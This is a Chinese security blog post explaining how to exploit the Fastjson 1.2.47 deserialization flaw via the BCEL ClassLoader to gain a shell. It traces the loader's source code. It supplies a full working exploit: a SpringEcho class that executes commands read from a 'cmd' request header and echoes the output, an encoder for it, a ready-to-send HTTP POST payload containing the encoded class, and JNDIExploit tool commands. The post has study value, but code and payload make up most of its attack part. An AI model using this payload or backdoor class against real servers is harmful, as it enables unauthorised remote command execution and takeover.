freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

利用BCEL打fastjson直接burp回显getshell
2023-08-03 10:57:11
所属地 浙江省

写作背景

实战中打点的话,java漏洞是最爽的,一打就是root权限。以fastjson为例,之前我曾经写过漏洞的原理,但是公网遇到的漏洞越来越少,大多都是在内网的环境,内网里没办法使用dnslog去探测回显。这里学习一下用bcel链直接在bp中产生回显进而getshell。


bcel调试分析

这里借用Zh1z3ven师傅的代码

准备一个恶意类

import java.io.IOException;

public class calc {
    static{
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

测试Demo

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class BCELDemo {
    public static void main(String[] args) throws Exception {
        //使用BCEL(Byte Code Engineering Library)的Repository类的lookupClass方法,尝试从类路径中查找名为 'calc.class' 的类,并返回一个 JavaClass 对象。
        //'JavaClass' 是 BCEL 提供的类,用于表示已加载的 Java 类。
        JavaClass cls = Repository.lookupClass(calc.class);
        //使用 BCEL 提供的 'Utility' 类的 'encode' 方法,将字节码使用base64进行编码:'cls.getBytes()' 返回表示 'calc.class' 字节码的字节数组;true表示编码过程中进行分割
        String code = Utility.encode(cls.getBytes(),true);
        System.out.println(code);
        //创建了一个ClassLoader对象,调用其loadClass方法
        //loadClass方法用于加载类,接收一个字符串参数表示要加载的类的名称(这里的类通过将'$$BCEL$$'字符串和变量'code'拼接得到),再通过调用.newInstance方法创建一个新的对象
        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
    }
}

测试结果

可以看到我们控制台上不仅出现了一段看不懂的加密字符,还弹出了计算器,说明我们的恶意代码被执行了。

代码分析调试

  • 我们在弹出计算器的这段代码打上断点,f7步入ClassLoader,创建完毕一个ClassLoader对象

1691030038_64cb12164c37b8bc2eef9.png!small

  • 继续步入loadClass方法,这里上将给定的ClassLoader类作为参数传递给loadClass方法,返回调用loadClass的重载方法进行类加载,默认将第二个参数var2设置为false。

1691030074_64cb123a0af45144863d5.png!small

  • f7步入laodClass的实现方法,这里主要是实现类加载机制,通过一系列尝试来加载指定的类,并返回对应的Class对象。
protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
  	//第一次尝试,在哈希表查找类
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
    	//第二次尝试:使用系统类加载器加载系统类
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
      	//第三次尝试:特殊请求?
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository 第四次尝试:通过仓库加载类
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader  第四次尝试:使用默认类加载器
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }
  • 源码给了四次尝试:
  1. 第一次尝试是从一个哈希表中查找已加载的类对象。如果找到,则直接返回该类对象。
  2. 第一次如果没找到,会进行第二次尝试,这一次是使用系统类加载器加载系统类。在这之前,会检查类名是否以指定的忽略包名开头。如果是,则将加载任务交给deferTo类加载器来处理。
  3. 第二次也没找到的话,会进行第三次尝试。第三次尝试会进行特殊请求处理。具体来说,它会检查类名中是否包含特定的标识字符串"$$BCEL$$",如果是,则通过调用createClass方法创建一个特殊类。
  4. 第三次也失败的话,就会进行第四次尝试。这次代码将尝试使用仓库加载类,它会调用repository对象的loadClass方法来尝试加载类。如果成功加载到类对象,则会对该类对象进行修改操作(通过调用modifyClass方法)。第四次失败的话会抛出ClassNotFoundException异常。
  5. 只要成功加载到类对象(通过任一尝试),就会调用defineClass方法定义类,并返回对应的Class对象。如果在加载类时指定了resolve参数为true,则会调用resolveClass方法对类进行解析。最后,将加载的类对象存储到哈希表中,并返回该类对象。

  • f8步过,我们的class_name就是一长串bcel的加密字符串,所以在第三次尝试时会调用creatClass(class_name)方法

1691030106_64cb125abad3d855cc51f.png!small

  • 进入creatClass方法详细分析一下
protected JavaClass createClass(String class_name) {
    //调用indexOf方法查找类名中特定的标记"BCEL"的位置,将其索引存储在index变量中
		int index = class_name.indexOf("$$BCEL$$");
    //调用substring方法从标记后面开始提取真实的类名部分,并将其存储在real_name变量中。
		String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
    	//调用Utility.decode方法对real_name进行解码,将解码后的字节数组存储在bytes变量中
      byte[]      bytes  = Utility.decode(real_name, true);
      //创建一个ClassParser对象,将解码后的字节码数组作为输入流,并提供一个任意的字符串作为参数,这里使用"foo"
			ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
      //调用parse()方法,ClassParser会解析字节码并返回一个JavaClass对象
      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }

    // Adapt the class name to the passed value
    ConstantPool cp = clazz.getConstantPool();

    ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
                                                     Constants.CONSTANT_Class);
    ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
                                                     Constants.CONSTANT_Utf8);
    name.setBytes(class_name.replace('.', '/'));
  	//方法返回创建的JavaClass对象,以便进行进一步的字节码操作或分析
    return clazz;
  }
}

最终返回的就是这个calc对象

1691030128_64cb1270815a086bd462d.png!small

  • 因为我们的clazz类不为空,首先获取clazz的字节数组,随后调用defineClass() 方法将字节数组中的类定义加载到内存中,并创建对应的 Class 对象

1691030160_64cb129040e1536de9fe3.png!small

  • 最终将加载的类存储到哈希表中,返回加载的类对象

1691030178_64cb12a2b68633bfa414c.png!small

  • 之后在newInstance()初始化时,会调用calc的代码执行

1691030195_64cb12b3405b707c8b9fe.png!small


公网利用jndi工具bp回显getshell

  • java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 172.20.10.11

1691030235_64cb12db3d736aa121317.png!small


  • 查看工具使用:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u

1691030253_64cb12ed147c6faa2b717.png!small


  • bp打payload

1691030270_64cb12febb3ff0196be66.png!small

  • 工具回显

1691030296_64cb13183e8ba77990dc8.png!small


不出网利用bcel直接回显shell

环境搭建

这里借用fastjson1.2.47环境进行复现,环境搭建完毕后访问127.0.0.1:9002/json

1691030548_64cb1414462b59282b71f.png!small

核心代码分析

这里有三段代码,分别是BCELEncode,SpringEcho以及SpringEcho.class,看名字可以知道BCELEncode是用来加密的,SpringEcho.class是SpringEcho的编译后的.class文件。

1691030587_64cb143bb8f6e212c9a50.png!small

BCELEncode

import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.FileOutputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class BCELEncode {

    public static String class2BCEL(String classFile) throws Exception{
        //将classFile转换为Path对象
        Path path = Paths.get(classFile);
        //使用Files.readAllBytes(path)方法读取类文件的内容,并将其存储在字节数组bytes中
        byte[] bytes = Files.readAllBytes(path);
        String result = Utility.encode(bytes,true);
        //返回Base64编码字符串
        return result;
    }


    public static void decode(String str) throws Exception{
        //解码为字节数组
        byte[] s =  Utility.decode(str,true);
        //把字节数组s写入"payload.class"的文件
        FileOutputStream fos = new FileOutputStream("payload.class");
        fos.write(s);
        fos.close();
    }

    public static void main(String[] args) throws Exception {
        //System.getProperty("user.dir")获取当前工作目录,并将相对路径与"SpringEcho.class"连接起来,得到Java类文件的完整路径。
        // 然后,调用BCELEncode.class2BCEL方法,并将Java类文件的完整路径作为参数传递给它。这个方法将Java类文件编码为Base64编码字符串,并通过System.out.println将结果打印到控制台。
        System.out.println(BCELEncode.class2BCEL(System.getProperty("user.dir")+"\\src\\test\\java\\com\\fastjson\\vul\\" +"SpringEcho.class"));

    }

}

SpringEcho

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
    //静态代码块在类加载的时候就会去执行
    static {
        try {
            //首先获取当前的HttpServletRequest和HttpServletResponse对象。
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            //通过反射获取HttpServletRequest的"getHeader"方法,用于获取HTTP请求头"cmd"的值,通过变量"cmd"执行系统命令。
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
            String cmd = (String)getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            //这里对操作系统做了判断,windows和linux的采用cmd和/bin/bash来命令执行
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            //使用反射获取"writer"对象的方法,然后执行命令并输出结果
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        } catch (Exception e) {

        }

    }
}

payload复现

POST /json HTTP/1.1
Host: 127.0.0.1:9092
Conten-Type: application/json
cmd: hostname
Content-Length: 3647

{
    "xx":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
            }
        } : "xxx"
    }
}

1691030661_64cb1485b7b9f245ba390.png!small

1691030677_64cb14954c89e80cbeabf.png!small

Fastjson BCEL Poc原理讲解

  • 我们对BCELEncode代码进行跟进,可以看到首先获取classFile文件,在本地主机的E盘文件下,随后将path保存在bytes[]数组里;最后对bytes[]进行bcel加密,返回bcel加密后的字符串

1691030714_64cb14ba4b9445e14ba2b.png!small

  • 当我们发送burp的payload,服务器首先会对payload进行反序列化,根据@type找到java.lang.Class类中的“org.apache.tomcat.dbcp.dbcp2.BasicDataSource”、“com.sun.org.apache.bcel.internal.util.ClassLoader”,以及“com.alibaba.fastjson.JSONObject”类中的"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"和驱动加载“"com.sun.org.apache.bcel.internal.util.ClassLoader"”

1691030738_64cb14d204cb6ad4d4d55.png!small

  • 随后服务器会对加密的“$$BCEL$$$l$8b$I$A$A$A$A$A$A。。。”字符串进行解密,解码为字节数组,最终会解密成最初的恶意类SpringEcho.class文件

1691030753_64cb14e13d2547760aefc.png!small

  • 在我们解密后的SpringEcho.class中就存在命令执行,针对服务器的操作系统类型,将结果回显在response中

1691030769_64cb14f182f198bfffe55.png!small

1691030786_64cb1502cb150849dfc9c.png!small

小结

  1. 根据fastjson的payload,首先反序列化找到加密的BCEL代码;
  2. 对BCEL进行解密,找到解密后的恶意类.class文件;
  3. 在.class文件中就存在命令执行,并将回显结果输出在response上。


参考链接


https://www.cnblogs.com/CoLo/p/15869871.html

https://www.freebuf.com/vuls/360993.html

https://www.freebuf.com/articles/web/366131.html

# 漏洞 # web安全 # Fastjson反序列化漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录